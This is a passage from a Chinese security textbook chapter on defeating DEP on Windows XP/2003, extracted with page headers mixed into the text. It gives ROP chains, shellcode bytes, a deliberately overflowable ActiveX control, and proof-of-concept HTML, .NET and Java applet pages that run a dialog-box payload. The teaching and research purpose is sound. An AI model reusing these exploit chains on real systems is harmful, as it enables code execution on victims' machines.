    {"text": "12 章 charshellcode[]= 数据与程序的分水岭： \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\xBC\\x45\\x82\\x7C\"//CALL VirtualAllocEx 地址 \"\\x90\\x90\\x90\\x90\" \"\\xFF\\xFF\\xFF\\xFF\"//-1 当前进程 \"\\x00\\x00\\x03\\x00\"//申请空间起始地址 0x00030000 \"\\xFF\\x00\\x00\\x00\"//申请空间大小 0xFF \"\\x00\\x10\\x00\\x00\"//申请类型 0x1000 \"\\x40\\x00\\x00\\x00\"//申请空间访问类型 0x40 DE \"\\x90\\x90\\x90\\x90\" P \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x90\\x90\\x90\\x90\"//EAX 指向的指令暂时先用\\x90 填充 \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP ; 重新编译程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点， 然后单步运行到第二次调整完 EBP，然后在返回前暂停，观察内存状态。"},
    {"text": "如图 12.3.27 所示，修正 EBP 后 ESP 和 EBP 指向同一个位置，而 memcpy 中的源内存地 址参数位于 EBP+0x0C，如果我们希望使用 PUSH ESP 的方式设置源内存地址，就需要让 ESP 指向 EBP+0x10，这样执行完 PUSH 操作后 ESP 的值刚好放在 EBP+0x0C。"},
    {"text": "图 12.3.27 第二次调整 EBP 后内存状态及 memcpy 函数参数位置 343 0 day 先来解决第一个问题，目前 ESP 指向 EBP 的位置，在执行完 RETN 0x4 指令之后 ESP 指 安全：软件漏洞 向 EBP+0x8 的位置，此时只需要类似 POP RETN 的指令就以在执行完 RETN 后让 ESP 指向 EBP+0x10。"},
    {"text": "再来分析第二个问题，在执行完 PUSH 操作后收回程序控制权的最佳位置在 EBP+0x14， 因为在这个位置执行 RETN 指令既保证了 memcpy 参数不被破坏，又可以减小 shellcode 长度。"},
    {"text": "分析技术（第 故在执行完 PUSH 操作后我们只需要 POP 两次就可以让 ESP 指向 EBP+0x14，所以 JMP EAX 指令中的 EAX 只要指向类似 POP POP RETN 指令即可。"},
    {"text": "然后在 EBP+0x14 位置放置 memcpy 函数的切入点 0x7C94AFAC（MOV ESI,DWORD PTR SS:[EBP+C]），这样程序在执行类似 POP POP RETN 指令中 RETN 时就可以转入 memcpy 函数中执行复制操作了。"},
    {"text": "charshellcode[]= 2 版） \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\xBC\\x45\\x82\\x7C\"//CALL VirtualAllocEx 地址 \"\\x90\\x90\\x90\\x90\" \"\\xFF\\xFF\\xFF\\xFF\"//-1 当前进程 \"\\x00\\x00\\x03\\x00\"//申请空间起始地址 0x00030000 \"\\xFF\\x00\\x00\\x00\"//申请空间大小 0xFF \"\\x00\\x10\\x00\\x00\"//申请类型 0x1000 \"\\x40\\x00\\x00\\x00\"//申请空间访问类型 0x40 \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x90\\x90\\x90\\x90\" \"\\x00\\x00\\x03\\x00\"//可执行内存空间地址 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//shellcode 长度 \"\\xAC\\xAF\\x94\\x7C\"//memcpy 函数切入点; ; 重新编译程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点， 然后按 F8 键单步运行到 memcpy 函数复制结束返回前暂停，观察内存状态。"},
    {"text": "如图 12.3.28 所示，执行完复制操作后，memcpy 函数在返回时 ESP 指向了我们 shellcode 中的某个位置，幸运的是这个位置还没有被占用，只是放置了填充字符。"},
    {"text": "通过它周围的数据我 们可以判断出这个位置位于 shellcode 中 POP POP RETN 指令地址和 memcpy 参数之间，并且 344 第 紧挨着 memcpy 第一个参数，所以这个位置就很容易确定了，只要在这个位置填上申请的可执 12 章 行内存空间起始地址，就可以转入该内存区域执行了。"},
    {"text": "数据与程序的分水岭： memcpy 函数返回 shellcode 中 POP POP RETN DE shellcode 中 P memcpy 参数 图 12.3.28 memcpy 函数返回前内存状态 我们似乎还没有放置弹出对话框的机器码。"},
    {"text": "通过图 12.3.28 中 memcpy 参数可以看出，复 制操作的源内存起始地址为 0x0012FF00，这个位置也是 memcpy 函数的复制长度参数所在位 置，所以只要在它后边放置对话框的机器码即可。"},
    {"text": "CALL 修正EBP VirtualAllocEx 参数 参数 参数 参数 参数 \\x90填充 指令地址 地址 \\x90填充 当前进程 起始地址 空间大小 空间类型 访问属性 180个字节 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 \\xBA\\xD9 \\xBC\\x45\\ \\x90\\x90 \\xFF\\xFF \\x00\\x00 \\xFF\\x00 \\x00\\x10 \\x40\\x00 \\x90\\……\\x90 \\xBB\\x7C x82\\x7C \\x90\\x90 \\xFF\\xFF \\x03\\x00 \\x00\\x00 \\x00\\x00 \\x00\\x00 POP EAX POP POP POP \\x90填充 RETN \\x90填充 RETN 修正EBP RETN 最终转入 memcpy 4个字节 指令地址 16个字节 指令地址 指令地址 指令地址 执行地址 目的地址 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 \\x90\\x90 \\x8A\\x17 \\x0B\\x1A \\xBA\\xD9 \\x5F\\x78 \\x00\\x00 \\x00\\x00 \\x90\\……\\x90 \\x90\\x90 \\x84\\x7C \\xBF\\x7C \\xBB\\x7C \\xA6\\x7C \\x03\\x00 \\x03\\x00 PUSH ESP 初始放置指令地 JMP EAX memcpy 弹对话框 memcpy 可读内存 可读内存 \\x00\\x90填充 址，后期会被覆 指令地址 函数切入点 机器码 复制长度 地址 地址 XCHG EAX,ESP 盖为 memcpy 中 4个字节 4个字节 168个字节 4个字节 4个字节 4个字节 4个字节 的源地址参数 \\xBF\\x7D \\xFF\\x00 \\xAC\\xAF \\x00\\x00 \\x00\\x00 \\x00\\x90 \\xFC……\\xF8 \\xC9\\x77 \\x00\\x00 \\x94\\x7C \\x03\\x00 \\x03\\x00 \\x90\\x94 图 12.3.29 利用 VirtualAlloc 申请可以执行内存绕过 DEP 的 shellcode 布局 345 0 day 最终 shellcode 如下所示。 安全：软件漏洞 charshellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\xBC\\x45\\x82\\x7C\"//CALL VirtualAllocEx 地址 分析技术（第 \"\\x90\\x90\\x90\\x90\" \"\\xFF\\xFF\\xFF\\xFF\"//-1 当前进程 \"\\x00\\x00\\x03\\x00\"//申请空间起始地址 0x00030000 \"\\xFF\\x00\\x00\\x00\"//申请空间大小 0xFF \"\\x00\\x10\\x00\\x00\"//申请类型 0x1000 \"\\x40\\x00\\x00\\x00\"//申请空间访问类型 0x40 \"\\x90\\x90\\x90\\x90\" 2 版） \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x00\\x00\\x03\\x00\"//可执行内存空间地址，转入执行用 \"\\x00\\x00\\x03\\x00\"//可执行内存空间地址，复制用 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//shellcode 长度 \"\\xAC\\xAF\\x94\\x7C\"//memcpy \"\\x00\\x00\\x03\\x00\"//一个可以读地址 \"\\x00\\x00\\x03\\x00\"//一个可以读地址 \"\\x00\\x90\\x90\\x94\" \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\"; 重新编译程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点， 然后按 F8 键单步运行进入 0x00030000 内存空间执行后暂停，观察内存状态。"},
    {"text": "如图 12.3.30 所示，memcpy 函数复制过来的不只是弹出对话框的机器码，还包含着弹出对 话框机器码前面的一些指令和参数，而这些东西会破坏程序的执行，所以我们要想办法搞定 它们。"},
    {"text": "首先是对 ESI 和 EDI 指向内存的操作，在 0x00030004 和 0x00030005 分别对 ESI 和 EDI 指向的内存有读取操作，我们需要保证 ESI 和 EDI 指向合法的位置。"},
    {"text": "ESI 和 EDI 是在 memcpy 函数返回前被 POP 进去的（如图 12.3.28 所示），这也是为什么在 shellcode 中 memcpy 函数切 入点下边我们没有使用 0x90 填充而使用两个 0x00030000 填充。"},
    {"text": "接下来是 0x00030006 的 XCHG EAX,EBP 指令，这条指令直接破坏了 ESP，而在弹出对话 框的机器码中有 PUSH 操作，所以 ESP 要修复，故我们在弹出对话框的机器码前边使用 0x94 346 第 填充，在 0x00030013 处来修复这个问题。 12 章 memcpy 函数返回 数据与程序的分水岭： 前 POP 进来的必须 为可读地址 交换 EAX,ESP 转入 用 0x00030000 0x0000 替换 0x0090 修正 0x00030006 的 防止出现异常 XCHG EAX,ESP DE P 图 12.3.30 转入 0x00030000 执行 最后是 0x0003000F 的对[EAX]操作，如果 0x00030010 处使用 0x90 填充，结果就是对 [EAX+0x909094FC]操作，这会引发异常，所以我们使用 0x00 填充 0x00030010，避免出现异常。"},
    {"text": "题外话：实际上我们有种更简单的方法来处理掉这些垃圾指令，从图 12.3.30 中大家 可以看到我们弹出对话框的机器码起始地址为 0x00030014，我们在可以让 memcpy 函 数返回时直接跳转到这个位置，跃过前边的垃圾指令。"},
    {"text": "347 0 day 安全：软件漏洞 分析技术（第 2 版） 图 12.3.31 利用 VirtualAlloc 成功绕过 DEP 12.4 利用可执行内存挑战 DEP 有的时候在进程的内存空间中会存在一段可读可写可执行的内存（如图 12.4.1 所示），如 果我们能够将 shellcode 复制到这段内存中，并劫持程序流程，我们的 shellcode 就有执行的机会。 可读可写可执行 的内存区域 图 12.4.1 可读可写可执行的内存区域 这种方法的实现难度要比前面三种方法小的多，不需要费尽心思地设置内存属性、申请可 执行的内存空间……这里所需要的是一点点运气：假使被攻击的程序内存空间中存在这样一个 可执行的数据区域，就可以直接通过 memcpy 函数将 shellcode 复制到这段内存区域中执行。"},
    {"text": "#include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> 348 第 charshellcode[]= 12 章 \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" 数据与程序的分水岭： \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x08\\x00\\x14\\x00\"//可执行内存中弹出对话框机器码的起始地址 \"\\x00\\x00\\x14\\x00\"//可执行内存空间地址，复制用 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//shellcode 长度 \"\\xAC\\xAF\\x94\\x7C\"//memcpy DE \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" P \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" ; voidtest() { chartt[176]; memcpy(tt,shellcode,450); } intmain() { HINSTANCEhInst = LoadLibrary(\"shell32.dll\"); chartemp[200]; test(); return 0; } 对实验思路和代码简要解释如下。"},
    {"text": "表 12-4-1 实验环境 推荐使用的环境 备 注 操作系统 Windows 2003 SP2 DEP 状态 Optout 349 0 day 编译器 VC++ 6.0 安全：软件漏洞 编译选项 禁用优化选项 build 版本 release 版本 通过图 12.4.1 可以看到，在 0x00140000 的位置存在一段可读可写可执行的内存，长度为 0x1000，足够放置我们的 shellcode。"},
    {"text": "本次实验的核心就是利用 memcpy 函数完成 shellcode 的复 制，通过上个实验的介绍大家对如何布置 memcpy 所需要的参数应该很熟悉了，现在让我们再 分析技术（第 来布置一次。"},
    {"text": "（2）接下来是源内存起始地址，我们先用 PUSH ESP JMP EAX 指令的地址来填充，待执 行完 PUSH ESP 操作后这个位置会覆盖为当前 ESP 的值，以实现源内存起始地址的动态获取。"},
    {"text": "#include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> charshellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" \"……\" \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x00\\x00\\x14\\x00\"//可执行内存空间地址，转入执行用 \"\\x00\\x00\\x14\\x00\"//可执行内存空间地址，复制用 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//复制长度 \"\\xAC\\xAF\\x94\\x7C\"//memcpy \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" ; 细心的读者会发现虽然都是利用 memcpy 函数复制 shellcode，但是本次实验的 shellcode 布局和上一个实验中不大一样，这个问题稍后解释。 我们先来编译程序，编译好程序后用 OllyDbg 加载程序，并在 0x7CBBD9BA（调整 EBP 入口）处下断点，待程序中断后单步执行 程序，在程序进入 0x00140000 执行后暂停程序，观察一下周围的情况。"},
    {"text": "如图 12.4.2，现在我们已经成功转入 0x00140000 执行了，大家会发现这次复制依然带来了 350 第 很多垃圾代码，上个实验中为了向大家介绍一些特殊情况下的 shellcode 布局技巧，对垃圾代码 12 章 做了修补操作。"},
    {"text": "这次我们使用一种更为简单的处理方法：直接无视前边这一堆垃圾代码，在 数据与程序的分水岭： memcpy 复制结束后直接转到弹出对话框的机器码中执行，跃过前边的垃圾代码。 弹出对话框 机器码 转入 0x00140000 DE P 图 12.4.2 转入 0x00140000 执行 从图 12.4.2 中可以看到弹出对话框的机器码起始地址为 0x00140008，所以我们就用 0x00140008 代替 0x00140000 作为 memcpy 复制结束后的转入地址，这样就可以越过前面那堆 垃圾代码，直接运行核心机器码了。"},
    {"text": "POP EAX POP POP \\x90填充 RETN RETN 修正EBP POP RETN 最终转入 memcpy 180个字节 指令地址 指令地址 指令地址 指令地址 执行地址 目的地址 4个字节 4个字节 4个字节 4个字节 4个字节 4个字节 \\x8A\\x17 \\x0B\\x1A \\xBA\\xD9 \\x5F\\x78 \\x08\\x00 \\x00\\x00 \\x90\\……\\x90 \\x84\\x7C \\xBF\\x7C \\xBB\\x7C \\xA6\\x7C \\x14\\x00 \\x14\\x00 PUSH ESP 初始放置指令地 址，后期会被覆 JMP EAX memcpy memcpy 弹对话框 盖为 memcpy 中 指令地址 复制长度 函数切入点 机器码 的源地址参数 4个字节 4个字节 4个字节 168个字节 \\xBF\\x7D \\xFF\\x00 \\xAC\\xAF \\xFC……\\xF8 \\xC9\\x77 \\x00\\x00 \\x94\\x7C 图 12.4.3 利用可执行内存绕过 DEP 的 shellcode 布局 按照上面的分析，我们最终的 shellcode 如下所示。 #include<stdlib.h> #include<string.h> #include<stdio.h> #include<windows.h> charshellcode[]= \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" 351 0 day \"……\" 安全：软件漏洞 \"\\x90\\x90\\x90\\x90\" \"\\x8A\\x17\\x84\\x7C\"//pop eax retn \"\\x0B\\x1A\\xBF\\x7C\"//pop pop retn \"\\xBA\\xD9\\xBB\\x7C\"//修正 EBP retn 4 \"\\x5F\\x78\\xA6\\x7C\"//pop retn \"\\x08\\x00\\x14\\x00\"//弹出对机器码在可执行空间的起始地址，转入执行用 \"\\x00\\x00\\x14\\x00\"//可执行内存空间地址，复制用 分析技术（第 \"\\xBF\\x7D\\xC9\\x77\"//push esp jmp eax && 原始 shellcode 起始地址 \"\\xFF\\x00\\x00\\x00\"//复制长度 \"\\xAC\\xAF\\x94\\x7C\"//memcpy \"\\xFC\\x68\\x6A\\x0A\\x38\\x1E\\x68\\x63\\x89\\xD1\\x4F\\x68\\x32\\x74\\x91\\x0C\" \"……\" \"\\x53\\xFF\\x57\\xFC\\x53\\xFF\\x57\\xF8\" ; 2 版） 重新编译程序后直接运行，大家就可以看到弹出的对话框了，如图 12.4.4 所示。"},
    {"text": "图 12.4.4 成功利用可执行内存绕过 DEP 12.5 利用.NET 挑战 DEP 微软在 IE6 及后续版本的浏览器中允许用户使用.NET 控件来实现一些功能，这些.NET 控 件最终会运行在浏览器进程中的沙盒里。"},
    {"text": "为了防止这些.NET 控件做出什么出格的事，微软 对.NET 控件进行了一系列校验，但是.NET 控件本身不做出格的事，并不代表不能利用它来做 出格的事。"},
    {"text": "352 第 实际上.NET 的文件具有和与 PE 文件一样的结构，也就是说它也具有.text 等段，这些段也 12 章 会被映射到内存中，也会具备一定的可执行属性。"},
    {"text": "大家应该想到如何利用这一点了，将 shellcode 放到 数据与程序的分水岭： .NET 中具有可执行属性的段中，然后让程序转入这个区域执行，就可以执行 shellcode 了。"},
    {"text": "在“利用 Adobe Flash Player ActiveX 控件绕过 SafeSEH”一节中我们介绍了如何用 Visual Studio 2008 建立一个基于 MFC 的 ActiveX 控件，本次实验中具有溢出漏洞的 ActiveX 控件依 然使用 Visual Studio 2008 建立，控件名称为 VulnerAX。"},
    {"text": "代码很简单，在函数里边申请 100 个字节的空 P 间，然后向这个空间里复制字符串，当复制的字符串超度超过 100 个字节时就会发生溢出，具 体代码如下所示。"},
    {"text": "void CVulnerAXCtrl::test(LPCTSTR str) { //AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: Add your dispatch handler code here printf(\"aaaa\");//定位该函数的标记 char dest[100]; sprintf(dest,\"%s\",str); } 接下来我们就要编译生成这个 ActiveX 控件了，因为本次我们攻击的是函数返回地址，所 以要禁用程序的 GS 编译选项，其他编译选项与“利用 Adobe Flash Player ActiveX 控件绕过 SafeSEH”一节中的 ActiveX 空间一致，具体编译选项如表 12-5-1 所示。"},
    {"text": "表 12-5-1 ActiveX 编译环境 编译环境 备 注 操作系统 Windows XP SP3 编译器 Visual Studio 2008 优化 禁用编译优化 GS 选项 GS 关闭 MFC 在静态库中使用 MFC 字符集 使用 Unicode 字符集 build 版本 release 版本 编译好控件后，我们在实验机器上注册这个 ActiveX 控件。"},
    {"text": "安全：软件漏洞 <object classid=\"clsid:39F64D5B-74E8-482F-95F4-918E54B1B2C8\" id=\"test\"> </object> <script> test.test(\"testest\"); </script> 其中 classid 的值可以在 VulnerAx.idl 文件中的“Class information for CVulnerAXCtrl”下边 分析技术（第 查看到，如图 12.5.1 所示，本次实验中 classid 值为 39F64D5B-74E8-482F-95F4-918E54B1B2C8。 classid 的值 2 版） VulnerAx.idl 文件 图 12.5.1 Classid 的值 然后我们需要在 C#下边建立一个 DLL 解决方案，如图 12.5.2 所示。"},
    {"text": "本次实验使 用 3.5 框架 选择类库 选择 C# 图 12.5.2 C#下建立 DLL 解决方案 建立好之后.NET 控件工程的，我们只需要将 shellcode 以变量形式放到 dll 中即可，需要注 意的是浏览器加载这个 DLL 之后使用是 Unicode 编码，所以我们的 shellcode 也要以 Unicode 编码的形式存放，代码如下所示。"},
    {"text": "354 第 usingSystem; 12 章 usingSystem.Collections.Generic; usingSystem.Linq; 数据与程序的分水岭： usingSystem.Text; namespaceDEP_NETDLL { publicclassClass1 { publicvoidShellcode() { stringshellcode = \"\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\" + DE \"\\u68fc\\u0a6a\\u1e38\\u6368\\ud189\\u684f\\u7432\\u0c91\" + P \"\\uf48b\\u7e8d\\u33f4\\ub7db\\u2b04\\u66e3\\u33bb\\u5332\" + \"\\u7568\\u6573\\u5472\\ud233\\u8b64\\u305a\\u4b8b\\u8b0c\" + \"\\u1c49\\u098b\\u698b\\uad08\\u6a3d\\u380a\\u751e\\u9505\" + \"\\u57ff\\u95f8\\u8b60\\u3c45\\u4c8b\\u7805\\ucd03\\u598b\" + \"\\u0320\\u33dd\\u47ff\\u348b\\u03bb\\u99f5\\ube0f\\u3a06\" + \"\\u74c4\\uc108\\u07ca\\ud003\\ueb46\\u3bf1\\u2454\\u751c\" + \"\\u8be4\\u2459\\udd03\\u8b66\\u7b3c\\u598b\\u031c\\u03dd\" + \"\\ubb2c\\u5f95\\u57ab\\u3d61\\u0a6a\\u1e38\\ua975\\udb33\" + \"\\u6853\\u6577\\u7473\\u6668\\u6961\\u8b6c\\u53c4\\u5050\" + \"\\uff53\\ufc57\\uff53\\uf857\"; } } } 接下来要编译生成这个.NET 控件，编译选项的设置上还有几个需要注意的地方，如表 12-5-2 所示。"},
    {"text": "表 12-5-2 .NET 控件编译环境 编译环境 备 注 操作系统 Windows XP SP3 编译器 Visual Studio 2008 基址 0x24240000 build 版本 Debug 版本 Realse 版的优化选项会影响 shellcode .NET 控件的基址可以通过“Project→DEP_NETDLL Properties→Build→Advanced”进行设 置，如图 12.5.3 所示。"},
    {"text": "355 0 day 安全：软件漏洞 分析技术（第 设置的基址 2 版） 点击后出现上面 的对话框 图 12.5.3 设置 DLL 基址 编译好 DLL 之后，我们需要将这个 DLL 和溢出 ActiveX 控件的 POC 页面放到同一目录下， 并通过如下代码调用。 <object classID=\"DEP_NETDLL.dll#DEP_NETDLL.Shellcode\"></object> Shellcode 放置好后，我们来设置 POC 页面，并将 POC 页面与.NET 控件放到一台 Web 服 务器上，在实验机上访问这个 POC 页面，以触发 ActiveX 中的溢出漏洞，通过.NET 控件绕过 DEP。"},
    {"text": "<html> <body> <object classID=\"DEP_NETDLL.dll#DEP_NETDLL.Class1\"></object> <object classid=\"clsid:39F64D5B-74E8-482F-95F4-918E54B1B2C8\" id=\"test\"> </object> <script> var s = \"\\u9090\"; while (s.length < 54) { s += \"\\u9090\"; } s+=\"\\u24E2\\u2424\"; test.test(s); </script> </body> </html> 356 第 对代码和思路简要解释如下。"},
    {"text": "P 表 12-5-3 实验环境 推荐使用的环境 备 注 操作系统 Windows XP SP3 DEP 状态 Optout 浏览器 Internet Explorer 7 用 IE 访问我们设置好的 POC 页面，如果浏览器提示 ActiveX 控件被拦截等信息请自行设 置浏览器安全权限，当浏览器弹出图 12.5.4 中所示的对话框时用 OllyDbg 附加 IE 的进程，附 加好后按一下 F9 键让程序继续运行。 图 12.5.4 IE 拦截到 Web 页面与 ActiveX 控件之间交互 然后我们转到 DEP_NETDLL.dll 的内存空间中查找 shellcode 的具体位置，大家可以通过 OllyDbg 的可执行模块窗口找到 DEP_NETDLL.dll 模块双击进入该内存空间。"},
    {"text": "由于我们在 shellcode 开始部分布置了一串 0x90，所以我们很容易地就可以发现 shellcode 起始地址位于 0x242424DF，如图 12.5.5 所示。 357 0 day 安全：软件漏洞 分析技术（第 shellcode 的 机器码 2 版） 图 12.5.5 .NET 控件中 shellcode 的位置 找 到 shellcode 的 起 始 地 址 后 ， 我 们 来 计 算 一 下 填 充 字 符 的 长 度 。"},
    {"text": "首 先 我 们 转 到 VulnerAX.ocx 的内存空间中，然后通过查找参考字符串的方法，找到“aaaa”所在位置，这个 位置就是 test 函数中的 printf(“aaaa”)的位置，我们在设置好断点，单击浏览器弹出对话框中的 “是”按钮，程序会中断在刚才我们设置断点的位置。"},
    {"text": "如图 12.5.6 所示，可以发现我们的填充 字符从 0x01EF534 的位置开始，函数返回地址存放位置为 0x01EFF5A0，所以填充 108（0x6C） 个字节就刚好覆盖到返回的返回地址，然后后面再跟上 shellcode 的起始地址就可以转入 shellcode 执行了。 填充起始位置 函数返回地址 存放位置 ESP 指向 0x01EFF5A0 图 12.5.6 ActiveX 控件溢出后的内存状态 358 第 JavaScript 实现代码如下所示， 需要的注意的是由于在 JavaScript 中使用的是 Unicode 编码， 12 章 而刚才计算填充长度是以 ASCII 码长度计算的，中间有一个 2 倍的转换。"},
    {"text": "数据与程序的分水岭： <script> var s = \"\\u9090\"; while (s.length < 54) { s += \"\\u9090\"; } s+=\"\\u24E2\\u2424\"; test.test(s); </script> 分析结束，现在可以关掉 OllyDbg 了，用 IE 重新打开 POC 页面，让我们来看看是不是真的 DE 绕过 DEP 了，不出意外的话大家就可以看到“failwest”的对话框弹了出来。"},
    {"text": "P 图 12.5.7 .NET 控件中的 shellcode 成功执行 12.6 利用 Java applet 挑战 DEP 除了前面介绍的.NET 控件外还有一个小东西也是可以用来绕过 DEP 的，它就是 Java applet。 Java applet 与.NET 控件类似，都可以被 IE 浏览器加载到客户端，而且加载到 IE 进程 的内存空间后这些控件所在内存空间都具有可执行属性，所以我们也可以将 shellcode 放置在 Java applet 里边来获得执行的机会。"},
    {"text": "编译成 class 文件后，就可以在 Web 中通过如下代码进行调用： <applet code=class 文件名.class></applet> 本次实验使用的代码如下： 分析技术（第 //Shellcode.java import java.applet.*; import java.awt.*; public class Shellcode extends Applet { public void init(){ Runtime.getRuntime().gc(); 2 版） StringBuffer buffer=new StringBuffer(255); buffer.append(\"\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\\u9090\" + \"\\u68fc\\u0a6a\\u1e38\\u6368\\ud189\\u684f\\u7432\\u0c91\" + \"\\uf48b\\u7e8d\\u33f4\\ub7db\\u2b04\\u66e3\\u33bb\\u5332\" + \"\\u7568\\u6573\\u5472\\ud233\\u8b64\\u305a\\u4b8b\\u8b0c\" + \"\\u1c49\\u098b\\u698b\\uad08\\u6a3d\\u380a\\u751e\\u9505\" + \"\\u57ff\\u95f8\\u8b60\\u3c45\\u4c8b\\u7805\\ucd03\\u598b\" + \"\\u0320\\u33dd\\u47ff\\u348b\\u03bb\\u99f5\\ube0f\\u3a06\" + \"\\u74c4\\uc108\\u07ca\\ud003\\ueb46\\u3bf1\\u2454\\u751c\" + \"\\u8be4\\u2459\\udd03\\u8b66\\u7b3c\\u598b\\u031c\\u03dd\" + \"\\ubb2c\\u5f95\\u57ab\\u3d61\\u0a6a\\u1e38\\ua975\\udb33\" + \"\\u6853\\u6577\\u7473\\u6668\\u6961\\u8b6c\\u53c4\\u5050\" + \"\\uff53\\ufc57\\uff53\\uf857\"); } } 这段代码只实现一个功能，就是将 shellcode 存在 Java applet 中。"},
    {"text": "由于某些机器上没有安装 JRE，为了脱离 Java applet 对 JRE 的依赖，大家最好按照我们推荐的编译环境进行编译，具体的编译环境如表 12-6-1 所示。 表 12-6-1 编译环境 推荐使用的环境 备 注 操作系统 Windows SP SP3 JAVA JDK 1.4.2 1.5 以前的均可 目标版本 1.1 脱离 JRE，在不具有 JRE 机器上也可执行 编译指令 Javac 路径\\Shellcode.java –target 1.1 本次实验我们将 Shellcode.java 放置在 C 盘根目录下，所以我们使用如下指令进行编译： javac c:\\Shellcode.java –target 1.1。 编译成功后将会在 C 盘根目录下产生一个 Shellcode.class 文 360 第 件，这就是我们的 Java applet。"},
    {"text": "12 章 接下来我们将 POC 页面与 Shellcode.class 放到一台 Web 服务器上，并在实验机上访问这 个 数据与程序的分水岭： POC 页面，以触发 ActiveX 中的溢出漏洞，并通过 Shellcode.class 绕过 DEP。"},
    {"text": "<html> <body> <applet code=Shellcode.class width=300 height=50></applet> <script>alert(\"开始溢出!\");</script> <object classid=\"clsid:39F64D5B-74E8-482F-95F4-918E54B1B2C8\" id=\"test\"> </object> <script> var s = \"\\u9090\"; while (s.length < 54) { DE s += \"\\u9090\"; P } s+=\"\\u04EC\\u1001\"; test.test(s); </script> </body> </html> 对代码简要解释如下。"},
